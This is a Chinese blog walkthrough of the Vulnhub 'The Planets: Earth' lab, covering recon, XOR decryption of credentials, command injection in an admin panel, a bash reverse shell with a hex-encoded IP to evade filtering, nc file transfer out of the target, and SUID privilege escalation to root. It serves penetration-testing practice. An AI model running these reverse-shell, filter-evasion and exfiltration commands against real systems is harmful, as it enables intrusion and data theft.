• Vulnhub系列靶机-The Planets Earth


    Vulnhub系列靶机-The Planets: Earth

    1. 信息收集

    1.1 主机扫描

    arp-scan -l
    
    • 1

    image-20230927130107003

    1.2 端口扫描

    nmap -p- -A 192.168.188.198
    
    • 1

    image-20230927130537258

    发现靶机开启了22,80,443端口

    访问页面

    image-20230927130523482

    页面报错误请求400,在hosts文件中加入DNS解析

    image-20230927132521888

    访问http://earth.local/

    image-20230927132654049

    1.3 目录爆破

    dirsearch -u http://earth.local/ -e * -i 200
    
    • 1

    image-20230927132848042

    爆破出来了/admin/login目录,浏览器中访问一下,发现是一个登录页面。

    image-20230927132906526

    对另一个页面进行目录爆破

    dirsearch -u https://terratest.earth.local/ -i 200
    
    • 1

    image-20230927133102538

    2. 漏洞探测

    页面访问一下robots.txt

    image-20230927133444295

    发现除了常规的格式不能访问之外,最后有一个Disallow: /testingnotes.*,和上面的后缀格式拼接访问txt文件。

    image-20230927133623676

    翻译页面

    测试安全消息传递系统注意事项:
    *使用异或加密作为算法,应该与RSA中使用的一样安全。
    *地球已经确认他们收到了我们发送的信息。
    *testdata.txt用于测试加密。
    *terra用作管理员门户的用户名。
    待办事项:
    *我们如何安全地将每月的钥匙发送到地球?或者我们应该每周换一次钥匙?
    *需要测试不同的密钥长度以防止暴力。钥匙应该有多长?
    *需要改进消息传递界面和管理面板的界面,这是目前非常基本的。
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    到这里我们知道,加密算法是XOR,用户名是terra,并且还有一个testdata.txt用于测试加密。

    页面访问/testdata.txt

    image-20230927134115574

    翻译如下

    根据放射性测年法和其他证据,地球形成于45亿年前。在地球历史的最初10亿年里,生命出现在海洋中,并开始影响地球的大气和表面,导致厌氧生物和后来的好氧生物的增殖。一些地质证据表明,生命可能早在41亿年前就出现了。
    
    • 1

    回到之前的页面在http://earth.local/下面有三串数据

    image-20230927134414332

    通过三个秘钥去尝试找到用户名为terra对应的密码

    2.1 XOR解密

    XOR,全称为Exclusive OR(异或),是一种逻辑运算符。XOR常用于数据加密、校验和计算。

    将Previous Messages与testdata.txt进行XOR运算,这里我们编写脚本来XOR解密。

    import binascii
    
    data1 = "37090b59030f11060b0a1b4e0000000000004312170a1b0b0e4107174f1a0b044e0a000202134e0a161d17040359061d43370f15030b10414e340e1c0a0f0b0b061d430e0059220f11124059261ae281ba124e14001c06411a110e00435542495f5e430a0715000306150b0b1c4e4b5242495f5e430c07150a1d4a410216010943e281b54e1c0101160606591b0143121a0b0a1a00094e1f1d010e412d180307050e1c17060f43150159210b144137161d054d41270d4f0710410010010b431507140a1d43001d5903010d064e18010a4307010c1d4e1708031c1c4e02124e1d0a0b13410f0a4f2b02131a11e281b61d43261c18010a43220f1716010d40"
    data2 = "3714171e0b0a550a1859101d064b160a191a4b0908140d0e0d441c0d4b1611074318160814114b0a1d06170e1444010b0a0d441c104b150106104b1d011b100e59101d0205591314170e0b4a552a1f59071a16071d44130f041810550a05590555010a0d0c011609590d13430a171d170c0f0044160c1e150055011e100811430a59061417030d1117430910035506051611120b45"
    data3 = "2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a"
    f = binascii.b2a_hex(open('testdata.txt', 'rb').read()).decode()
    print(hex(int(data1,16) ^ int(f,16)))
    print(hex(int(data2,16) ^ int(f,16)))
    print(hex(int(data3,16) ^ int(f,16)))
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    image-20230927135949549

    testdata.txt文件内容。

    image-20230927140001760

    执行脚本,获得的三串数据都是十六进制的

    image-20230927135925396

    2.2 解码

    使用utools中的解码工具进行解码。

    第一串字符

    image-20230927140211738

    第二串字符

    image-20230927140246130

    第三串字符

    image-20230927140301832

    可以看到前两个没有重要数据,第三个是重复的earthclimatechangebad4humans

    尝试用户名和密码进行登录

    terra
    earthclimatechangebad4humans
    
    • 1
    • 2

    登录成功

    image-20230927140429479

    观察页面发现可以执行命令

    image-20230927140512168

    命令执行漏洞

    查看是否有flag文件,发现一个/var/earth_web/user_flag.txt

    image-20230928105920217

    查看/var/earth_web/user_flag.txt文件

    image-20230928110019890

    获取到第一个flag

    3. 漏洞利用

    3.1 反弹Shell

    既然可以执行命令那么我们可以反弹shell

    bash -i &> /deb/tcp/192.168.188.198/8888 0>&1
    
    • 1

    image-20230928110304077

    发现远程连接被禁止了。

    这种情况可以对IP地址进行十六进制编码或者对整个命令进行base64编码。这里我选择对IP地址进行十六进制编码。

    IP地址进制转换

    image-20230928112007120

    bash -i >& /dev/tcp/0XC0A8BC9D/8888 0>&1
    
    • 1

    然后kali主机上监听8888端口

    nc -lnvp 8888 -e /bin/bash
    
    • 1

    image-20230928110807145

    反弹成功

    image-20230928112032498

    查看当前用户的权限

    image-20230928112110207

    发现权限较低,尝试进行提取。

    4. 权限提升

    查看一些特殊权限的文件

    find / -perm -u=s -type f 2>/dev/null
    
    • 1

    命令解析

    • -perm -u=s:表示通过文件权限来匹配文件。其中,-perm用于指定要匹配的权限,-u表示用户权限,而s表示SetUID权限。SetUID权限(Set User ID)是一种特殊的权限位,当用户执行该文件时,会以该文件的所有者的身份来执行。
    • -type f:表示只匹配普通文件(regular file)。这里的f表示文件。
    • 2>/dev/null:将错误输出(stderr)重定向到/dev/null,即丢弃错误信息。

    image-20230928112543425

    看到reset_root文件,尝试运行

    image-20230928113543273

    发现无法运行。

    4.1 NC文件传输

    使用nc进行传输文件

    在Kali上输入nc -nlvp 7788 >reset_root,开启监听

    image-20230928113814804

    在靶机中输入如下命令

    nc 192.168.188.157 7788 < /usr/bin/reset_root
    
    • 1

    image-20230928114240548

    命令解析:

    • 使用Netcat(nc)工具将 /usr/bin/reset_root 文件发送到 IP 地址为 192.168.188.157 的接收端的 7788 端口。

    strace调试工具

    使用strace工具检测reset_root文件的运行过程,如果没有可以进行下载。

    sudo apt install strace
    
    • 1

    image-20230928114428439

    对reset_root进行调试,给reset_root文件赋予执行权限

    chmod +x reset_root
    strace ./reset_root
    
    • 1
    • 2

    命令解析

    • strace是一个用于跟踪进程系统调用和信号的工具
      • strace:表示启动strace工具。
      • ./reset_root:表示要执行的可执行文件或命令。

    image-20230928114616938

    image-20230928114700775

    发现文件执行失败是因为少了这三个文件或目录。

    在靶机shell上创建这三个文件

    进入靶机终端进行创键

    touch /dev/shm/kHgTFI5G
    touch /dev/shm/Zw7bV9U5
    touch /tmp/kcM0Wewe
    
    • 1
    • 2
    • 3

    image-20230928114836255

    创建完成后执行reset_root

    image-20230928115122133

    获取到了root的密码:Earth

    成功获得root权限,得到最后的flag

    image-20230928115214457

    image-20230928115239569

    Netcat(nc)文件传输

    使用Netcat(nc)进行文件传输可以在计算机之间快速传输文件。Netcat是一个网络工具,它能够创建网络连接、发送和接收数据。

    详细步骤:

    1. 在接收端启动监听

      nc -l -p <port> > received_file
      
      • 1

      在接收端运行上述命令来监听指定的端口。-l 参数表示监听模式,-p 参数用于指定监听的端口号。所有传入的数据将被重定向到 received_file 文件中。

    2. 在发送端发送文件

      nc <receiver_ip> <receiver_port> < file_to_send
      
      • 1

      在发送端运行上述命令来发送文件。 是接收端的 IP 地址, 是接收端开放的端口号,< file_to_send 是要发送的文件名或路径。Netcat将会将文件的内容通过网络发送到接收端。

    3. 接收端接收文件:

      接收端会将数据写入 received_file 指定的文件中。你可以在接收端的文件系统中找到该文件,并对其进行进一步处理。

    在使用的时候确保以下几点:

    • 发送端和接收端之间存在网络连接,并且网络设置正确。
    • 接收端的端口没有被防火墙或其他网络安全设备阻塞。
    • 发送端和接收端都有足够的权限读取和写入文件。
    • 确保文件路径和文件名是正确的。
  • 相关阅读:
    2023年10月最新版OneNet使用介绍完整版(以智能鱼缸项目开发为例)
    ajax day4
    自制操作系统日志——第二十天
    基于Java实现的语法分析器
    电脑删除的文件如何找回?
    LVM逻辑卷
    system verilog 处理子进程(关闭/等待/跳转)
    【IoT】公众号“简一商业”更名为“产品人卫朋”说明
    设计模式例子
    基于 FFmpeg 的跨平台视频播放器简明教程(十一):一种简易播放器的架构介绍
  • 原文地址:https://blog.csdn.net/weixin_58783105/article/details/133710976